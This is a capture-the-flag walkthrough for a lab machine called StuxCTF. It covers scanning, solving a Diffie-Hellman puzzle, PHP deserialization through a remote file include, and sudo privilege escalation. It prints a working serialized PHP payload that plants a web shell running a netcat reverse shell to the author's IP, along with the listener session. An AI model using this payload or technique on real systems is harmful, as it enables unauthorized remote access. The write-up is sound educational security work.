Read user.txt and root.txt
Enumeration
Let's add to /etc/hosts/
and run our usual rustscan
╰─⠠⠵ rustscan -a stuxctf --ulimit 10000 -- -sC -sV -oA stuxctf -A
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
Real hackers hack time ⌛
[~] The config file is expected to be at "/home/tony/.rustscan.toml"
[~] Automatically increasing ulimit value to 10000.
Open 10.10.194.64:22
Open 10.10.194.64:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
[~] Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-04 00:22 BST
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 00:22
Completed NSE at 00:22, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 00:22
Completed NSE at 00:22, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 00:22
Completed NSE at 00:22, 0.00s elapsed
Initiating Ping Scan at 00:22
Scanning 10.10.194.64 [2 ports]
Completed Ping Scan at 00:22, 0.03s elapsed (1 total hosts)
Initiating Connect Scan at 00:22
Scanning stuxctf (10.10.194.64) [2 ports]
Discovered open port 22/tcp on 10.10.194.64
Discovered open port 80/tcp on 10.10.194.64
Completed Connect Scan at 00:22, 0.04s elapsed (2 total ports)
Initiating Service scan at 00:22
Scanning 2 services on stuxctf (10.10.194.64)
Completed Service scan at 00:22, 6.11s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.194.64.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 00:22
Completed NSE at 00:22, 1.34s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 00:22
Completed NSE at 00:22, 0.17s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 00:22
Completed NSE at 00:22, 0.00s elapsed
Nmap scan report for stuxctf (10.10.194.64)
Host is up, received syn-ack (0.035s latency).
Scanned at 2021-04-04 00:22:51 BST for 7s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e8:da:b7:0d:a7:a1:cc:8e:ac:4b:19:6d:25:2b:3e:77 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHy6u+PbjzbKZyYYJwrdwKQPHa7m8AgiJwNQSx4Tp1IOOf2y8QZTm3/iln/TJsLNdRuOORhMymecTm0H8X+Oqq481qx5hcLb4ax88tzD/yHMYIWpgMVphjZRzvBpuYmL6tS25ltX5C8VUyIfAAp5UfmwTJTpQc6yUsf/SzA1JfHRMKYrKarm+HyiTA7Md5en7DkYf/Cc3D2RTvgmzyUEES1sWXIKlqG+Hw5Q3LBTf+x3Klv4j/nTjRnQ11uGXQUV+bf/hctQ+pd5lcOACdyvW1XDOoKVVFy794JUBZIE8KFJlDF9kDDk+/9KcXPFmwHRc7EhcvoOXI0IgdY9hHbA5v
| 256 c1:0c:5a:db:6c:d6:a3:15:96:85:21:e9:48:65:28:42 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNClIhCJbrZ4E0DajP2/THDkSRCFIIz+E4n0lwO2uwYKXLH+ZkmJfWPIS0G1imPiAl86M4waW46uhq+zd2zf7nY=
| 256 0f:1a:6a:d1:bb:cb:a6:3e:bd:8f:99:8d:da:2f:30:86 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPhnACR59xmsr8aznDId/sXX28PkUm6kKDeoNMHsgY3O
80/tcp open http syn-ack Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS GET HEAD
| http-robots.txt: 1 disallowed entry
|_/StuxCTF/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Default Page
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 00:22
Completed NSE at 00:22, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 00:22
Completed NSE at 00:22, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 00:22
Completed NSE at 00:22, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.14 seconds
22/ssh
No credentials so let's move on ....
80/http
Simple page but we have some html
comments
<html>
<head>
<title>Default Page</title>
</head>
<body>
<!-- The secret directory is...
p: 99752986619300850860197084028704021911141717[REDACTED]60469454315876556947370642[REDACTED]24506376929926694545081888689821796050434591251;
g: 7;
a: 330;
b: 450;
g^c: 60919178008335987415309240817622254774182770101420226227316881582977596213294[REDACTED]8549791707898878144888994707435069422020976[REDACTED]705739528359582454617;
-->
is blank....
</body>
</html>
If we look at /robots.txt
we see a another directory
# robots.txt generated by StuxCTF
# Diffie-Hellman
User-agent: *
Disallow:
Disallow: /StuxCTF/
Browsing to /StuxCTF/
we get a 404....
Let's give gobuster
a try ....
What is the hidden directory?
What is the hidden directory?
HINT: g ^ a mod p, g ^ b mod p, g ^ C mod p
first 128 characters ...
Whilst waiting for gobuster
to complete let's take a look at the The secret directory is
....
p:99752986619300850860197084[REDACTED]1745913160469454315876556947370642799226714405016920875594030192024506376929926694545[REDACTED]50434591251;
g: 7;
a: [REDACTED];
b: [REDACTED];
g^c:60919178008335[REDACTED]40817622254774182770101420226227316881582977596213294070709854979170789887814488899470743[REDACTED]69840915705739528359582454617;
Not sure what this is but the robots.txt
drops a hint of Diffie-Hellman
. Looking around I find https://pequalsnp-team.github.io/writeups/crypto300_1 and end up with the below
#!/usr/bin/python3
p=9975298661930085086019708402870402191114171745913160469454315876556947370642799226714405[REDACTED]376929926694545081888689821796050434591251
g=[REDACTED]
a=[REDACTED]
b=[REDACTED]
gc=609191780083359874153092408176222547741827701014202262273168815829775962132940707098549791[REDACTED]89947074350694220209769840915705739528359582454617
gca = (gc**a) % p
gcab = (gca**b) % p
print(str(gcab)[:128])
The output of this is the secret directory.
User.txt
Browsing to our hidden directory ...
<!DOCTYPE html>
<head>
<title>StuxCTF</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="assets/css/bootstrap.min.css" />
<link rel="stylesheet" href="assets/css/style.css" />
</head>
<body>
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
</button>
<a class="navbar-brand" href="index.php">Home</a>
</div>
</div>
</nav>
<!-- hint: /?file= -->
<div class="container">
<div class="jumbotron">
<center>
<h1>Follow the white rabbit..</h1>
</center>
</div>
</div>
<script src="assets/js/jquery-1.11.3.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
</body>
</html>
Hmm....<!-- hint: /?file= -->
sounds like an lfi
... trying our usual lfi
test via /etc/passwd
does not seem to work. Trying wfuzz
does not bring back anything useful either.
╰─⠠⠵ wfuzz -z file,/opt/SecLists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt --hl 31 http://stuxctf.local/[REDACTED]\?file\=FUZZ
libraries.FileLoader: CRITICAL __load_py_from_file. Filename: /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/bing.py Exception, msg=No module named 'shodan'
libraries.FileLoader: CRITICAL __load_py_from_file. Filename: /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/shodanp.py Exception, msg=No module named 'shodan'
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: http://stuxctf.local/[REDACTED]?file=FUZZ
Total requests: 9513
===================================================================
ID Response Lines Word Chars Payload
===================================================================
Total time: 37.47722
Processed Requests: 9513
Filtered Requests: 9513
Requests/sec.: 253.8341
Lets try gobuster
╰─⠠⠵ gobuster dir -u http://stuxctf.local/[REDACTED] -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x txt,html,php,htm,gz,tar.gz,zip,db
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://stuxctf.local/[REDACTED]
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: htm,gz,tar.gz,zip,db,txt,html,php
[+] Timeout: 10s
===============================================================
2021/04/04 00:51:26 Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 200) [Size: 1168]
/assets (Status: 301) [Size: 444] [--> http://stuxctf.local/[REDACTED]assets/]
Looking under assets
we have js
which includes app.js
function senddata() {
var search = $("#search").val();
var replace = $("#replace").val();
var content = $("#content").val();
if(search == "" || replace == "" || content == "") {
$("#output").text("No input given!");
}
$.ajax({
url: "ajax.php",
data: {
'search':search,
'replace':replace,
'content':content
},
method: 'post'
}).success(function(data) {
$("#output").text(data)
}).fail(function(data) {
$("#output").text("OOps, something went wrong...\n"+data)
})
return false;
}
This leads us to ajax.php
.... Looking around I can not find it but after trying /index.php?file=ajax.php
we get some output...
Trying a few different things I decide to try index.php
to see if I can find anything useful.
This returns a longs string across the page, it appears to be hex
throwing this into [cyberchef`](https://gchq.github.io/CyberChef/) we get what looks like a reverse `base64` string
Reversing this string and base64
decoding we get the webpage source code.
Looking at the source code we get the below interesting bits
error_reporting(0);<br />
class file {<br />
public $file = "dump.txt";<br />
public $data = "dump test";<br />
function __destruct(){<br />
file_put_contents($this->file, $this->data);<br />
}<br />
}<br />
<br />
<br />
$file_name = $_GET['file'];<br />
if(isset($file_name) && !file_exists($file_name)){<br />
echo "File no Exist!";<br />
}<br />
<br />
if($file_name=="index.php"){<br />
$content = file_get_contents($file_name);<br />
$tags = array("", "");<br />
echo bin2hex(strrev(base64_encode(nl2br(str_replace($tags, "", $content)))));<br />
}<br />
unserialize(file_get_contents($file_name));<br />
So from the above we need to serialise the below
type | name | explanation |
---|---|---|
class | file | what we want to serialise |
variable | $file | file we want to create |
variable | %data | contents of the file |
In my case
name | value | note |
---|---|---|
class name | file | name of the class we are abusing |
$file | assets/shell.php | we can list assets so can see if our file gets created or not |
$data | <?php echo exec('reverse shell') ?> |
Our reverse shell |
To get the needed output I use the below php
<?php
class file
{
public $file = 'assets/shell.php';
public $data = "<?php echo exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.14.9.177 4444 >/tmp/f') ?>";
}
$serial = serialize(new file);
print $serial;
print("\n");
?>
I then run it using php serial.php
which outputs O:4:"file":2:{s:4:"file";s:16:"assets/shell.php";s:4:"data";s:100:"<?php echo exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.14.9.177 4444 >/tmp/f') ?>";}
. I trying using this ?file
but it does not work.
So re-reading the above code I notice the line is
unserialize(file_get_contents($file_name))
This means it reads the contents of a file and deserializes it.... so lets change tact and try to load the file from our local machine
# redirect the output into a file
╰─⠠⠵ php serial.php > shell.txt
# start out webserver
╰─⠠⠵ python3 -m http.server 8888
In our browser we now use ?file=http://OURIP:8888/shell.txt
which makes a call back to us.
╰─⠠⠵ python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.10.194.64 - - [04/Apr/2021 01:29:29] "GET /shell.txt HTTP/1.0" 200 -
If we know start our listener and then browse to shell.php
we get a call back...
╰─⠠⠵ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.194.64 44754
/bin/sh: 0: can't access tty; job control turned off
$ find /home
/home
/home/grecia
/home/grecia/user.txt
/home/grecia/.bash_logout
/home/grecia/.profile
/home/grecia/.wget-hsts
/home/grecia/.bashrc
/home/grecia/.nano
/home/grecia/.bash_history
/home/grecia/.sudo_as_admin_successful
/home/grecia/.cache
find: '/home/grecia/.cache': Permission denied
$ cat /home/grecia/user.txt
[REDACTED]
Root.txt
Now we have the user flag we need to look for privesc to get root.txt
. Let's start by stabilizing our shell.
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@ubuntu:/home/grecia$ export TERM=xterm
export TERM=xterm
www-data@ubuntu:/home/grecia$ ^Z
[1] + 32162 suspended nc -lvnp 4444
╰─⠠⠵ stty raw -echo; fg
[1] + 32162 continued nc -lvnp 4444
www-data@ubuntu:/home/grecia$
www-data@ubuntu:/home/grecia$
www-data@ubuntu:/home/grecia$
Now let's check sudo -l
www-data@ubuntu:/home/grecia$ sudo -l
Matching Defaults entries for www-data on ubuntu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ubuntu:
(ALL) NOPASSWD: ALL
Great!!!! we can run sudo
with no password and any command...
www-data@ubuntu:/home/grecia$ sudo cat /root/root.txt
[REDACTED]]
A simple sudo cat
gives us our root flag.
Done!
Interesting room, learned a bit about Diffie-Hellman
and php serialization